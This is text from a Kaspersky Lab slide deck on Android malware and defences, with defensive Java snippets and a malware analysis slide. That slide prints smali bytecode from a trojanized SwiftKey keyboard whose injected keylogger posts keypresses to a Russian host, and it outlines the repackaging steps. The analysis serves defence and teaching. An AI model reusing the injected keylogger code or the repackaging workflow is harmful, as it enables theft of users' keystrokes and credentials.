Vladimir Ivanov Senior Developer Kaspersky Lab ANDROID APK
МОБИЛЬНЫЕ УГРОЗЫ: ЗАЩИЩАЙСЯ! Vladimir Ivanov Senior Developer, Kaspersky Lab
ПОПУЛЯРНОСТЬ ЗЛОВРЕДОВ ДЛЯ ANDROID Зловредные APK 9000000 10, 000+ 8000000 Число зловредных приложения (APK в коллекции Лаборатории) 7000000 6000000 5000000 4000000 120, 000 3000000 2000000 Среднее число новых образцов 1000000 1 13 . 1 20 13 20 . 1 0 9. 0 8 13 20 . 0 7 13 20 . 0 6. 0 20 13 5 13 20 . 0 4 13 20 . 0 3 13 20 13 . 0 20 13 20 . 0 2 13 20 . 1 1 12 . 1 20 12 . 1 0 . 0 9 20 8 12 20 . 0 7 12 20 . 0 6 12 20 . 0 5. 0 20 12 4 12 20 . 0 3 12 20 . 0 2 12 . 0 20 12 12 20 4 20 . 0 1 0 Source: Kaspersky Lab Security Network
СХЕМЫ РАСПРОСТРАНЕНИЯ: СТАРЫЕ И НОВЫЕ ТЕХНОЛОГИИ Exploits, Phishing & Social Engineering Web Injects App Stores Official App Stores Drive-by Downloads Repackaged apps SMS Spam Fake apps 3 rd Party App Stores 8 Suspicious apps
ЧТО ДЕЛАТЬ: ПРОГРАММНО ПРОВЕРЯТЬ ВЗЛОМ public static boolean check. Root. Which. Su() { Process process = null; try { process = Runtime. get. Runtime(). exec(new String[] { "/system/xbin/which", "su" }); final Buffered. Reader in = new Buffered. Reader( new Input. Stream. Reader(process. get. Input. Stream())); return in. read. Line() != null; } catch (Throwable t) { return false; } finally { if (process != null) { process. destroy(); } } } *from http: //stackoverflow. com/questions/1101380/determine-if-running-on-a-rooted-device 13
ЗАЧЕМ НУЖНА ЭВРИСТИКА Эвристический движок: AVP 3 Modifications Mobile signatures Heuristic signatures Trojan-Spy. Android. OS. Geinimi 376 Backdoor. Android. OS. Kung. Fu 283 Защищает от новых и неизвестных образцов Trojan-Spy. Android. OS. Adrd 234 Увеличивает вероятность обнаружения 148 Backdoor. Android. OS. Base. Brid 17 7 19 14 Trojan-SMS. Android. OS. Fake. Inst 17 Использует те же базы, что и десктопный 128 продукт Trojan-SMS. Android. OS. Boxer 126 3 Одна сигнатура на семейство Trojan-SMS. Android. OS. Opfake 65 9 Backdoor. Android. OS. Yzhc 48 3 Trojan-SMS. Android. OS. Jifake 36 30 К примеру Backdoor. Android. OS. Rooter 35 2 Trojan-Spy. Android. OS. Nickspy 22 6 Trojan-SMS. Android. OS. Raden 20 6 На данный момент 376 AVP 3 сигнатур для Trojan-SMS. Android. OS. Send. Pay 19 3 Spy. Android. OS. Geinimi заключены в 17 файлах Trojan-SMS. Android. OS. Fake. P 16 13 Trojan-Spy. Android. OS. Flexispy 5 4 Всего 1 эвристичекая сигнатура определяет. Spy. Android. OS. Geinimi Backdoor. Android. OS. Fakengry 3 2 18 (!) 1 1 1 1
КАК РАБОТАЕТ ПОВЕДЕНЧЕСКОЕ СКАНИРОВАНИЕ Google Play Поведенческий лог APK File Иные источники dex files patched скачивание resources Память pictures установка Перехватчик Перепаковка Измененное приложение установка спользование использование 19 android. app. Application. get. System. Service("window") com. kms. sandbox. SBActivity 1. get. System. Service("conne ctivity") android. app. Application. get. System. Service("connectivity ") android. app. Application. get. System. Service("phone") android. telephony. Telephony. Manager. get. Sim. Operator( ) com. kms. sandbox. SBActivity 1. get. Class() com. kms. sandbox. SBActivity 1. get. System. Service("conne ctivity") android. app. Application. get. System. Service("activity") android. telephony. Telephony. Manager. get. Device. Id() android. telephony. Telephony. Manager. get. Network. Coun try. Iso() org. apache. http. message. Basic. Status. Line. to. String() android. app. Application. get. System. Service("location") java. io. File. to. String() java. io. File. exists() java. io. File. create. New. File() android. app. Context. Impl$Application. Package. Manager. get. Installed. Packages(0) java. io. File. Output. Stream. write([B@406258 b 8) com. kms. sandbox. SBActivity 1. start. Activity(Intent { act=android. service. wallpaper. LIVE_WALLPAPER_CHOO SER (has extras) }) com. kms. sandbox. SBActivity 1. start. Activity(Intent { cmp=com. livegame. wallpaperxingqiumj/com. kms. sand box. SBActivity 2 }) so files kl-hools. so other patched so files other эмуляция
ЧТО ДЕЛАТЬ: АНАЛИЗИРОВАТЬ ПАРАМЕТРЫ ТОЧКИ public static void ensure. Wifi. Security(Context context) { Wifi. Manager wifimanager = (Wifi. Manager) context. get. System. Service(Context. WIFI_SERVICE); Method[] methods = wifimanager. get. Class(). get. Declared. Methods(); for (Method m : methods) { if (m. get. Name(). equals("get. Wifi. Ap. Configuration")) { try { Wifi. Configuration config = (Wifi. Configuration) m. invoke(wifimanager); Bit. Set allowed. Auth. Algorithms = config. allowed. Auth. Algorithms; // TODO : analyze the config } catch (Exception e) { // TODO : log } } 23
ЗАЩИЩАЯ СЕТЕВЫЕ СОЕДИНЕНИЯ Apache HTTP Client Lib URL Reputation Certificate Validation KSN 24 DNS Verification
ВЕБ-ФИЛЬТР ПРОТИВ ФИШИНГА Kaspersky Product Platform Phishing Bank logo Fake site KFP Mobile SDK Malware Site address Анализ изображений База доверенных сайтов База фишинговых сайтов Эвристические механизмы Data form Fake mail 25 Kaspersky Security Network
ЧТО ДЕЛАТЬ: КОНТРОЛИРОВАТЬ ПОЛУЧЕНИЕ <receiver android: name=". SMSBroadcast. Receiver"> <intent-filter android: priority="2147483647"> <action android: name="android. provider. Telephony. SMS_RECEIVED"/> </intent-filter> </receiver> Входящее СМС от банка private static final String SMS_RECEIVED = "android. provider. Telephony. SMS_RECEIVED"; @Override public void on. Receive(Context context, Intent intent) { if (SMS_RECEIVED. equals(intent. get. Action())) { Bundle bundle = intent. get. Extras(); // TODO : parse extras for messages } 29 хранилище смс Слой Смс троян безопасности Банковское Хранилище приложение
ЧТО ДЕЛАТЬ: СИММЕТРИЧНОЕ ШИФРОВАНИЕ Шифруем все файлы и БД с важными данными public static void ensure. Wifi. Security(Secret. Key key) throws Exception { Cipher cipher = Cipher. get. Instance("AES/CBC/PKCS 5 Padding"); cipher. init(Cipher. ENCRYPT_MODE, key); Cipher. Output. Stream cos = new Cipher. Output. Stream(new File. Output. Stream("ciphertext"), cipher); Print. Writer pw = new Print. Writer(new Output. Stream. Writer(cos)); pw. println("Stand unfold yourself"); pw. close(); } Пароль Зашифрованная БД/Файлы Слой безопасности Приложение 32
ПЕРЕХВАТ НАЖАТИЙ Smali – ассемблер для Dalvik https: //code. google. com/p/smali/ new-instance v 0, Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event$Async. Http. Post; invoke-direct {v 0, p 0, v 2}, Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event$Async. Http. Post; -> <init>(Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event; Ljava/util/Hash. Map; )V 33
ПОДМЕНА ПОПУЛЯРНОЙ КЛАВИАТУРЫ. class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event; Unpack/Decode Byte Code (‘smali’) Inject Keylogger Code Repack & Sign Distribution # direct methods. method public constructor (Lcom/touchtype_fluency/service/Touch. Type. Extracted. Text; Ljava/lang/Char. Sequence; )V. parameter "extracted. Text". parameter "input. Text" … invoke-direct {p 0, p 1, p 2}, Lcom/touchtype/keyboard/inputeventmodel/events/Text. Input. Event; >(Lcom/touchtype_fluency/service/Touch. Type. Extracted. Text; Ljava/lang/Char. Sequence; )V …. line 152 new-instance v 0, Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event$Async. Http. Post; invoke-direct {v 0, p 0, v 2}, Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event$Async. Http. Post; ><init>(Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event; Ljava/util/Hash. M ap; )V. line 153 async. Http. Post: Lcom/touchtype/keyboard/inputeventmodel/events/Key. Input. Event$Async. Http. P ost; const/4 v 3, 0 x 1 const-string v 5, "hxxp: //czqklsjdf. ru/swiftkey/keypresses. php" …. line 9 return-void. end method Keylogger found within Android byte code of a modified version of Swift. Key 34
ВОПРОСЫ? KFP_HQ@kaspersky. com www. kaspersky. com/fraudprevention
- Slides: 40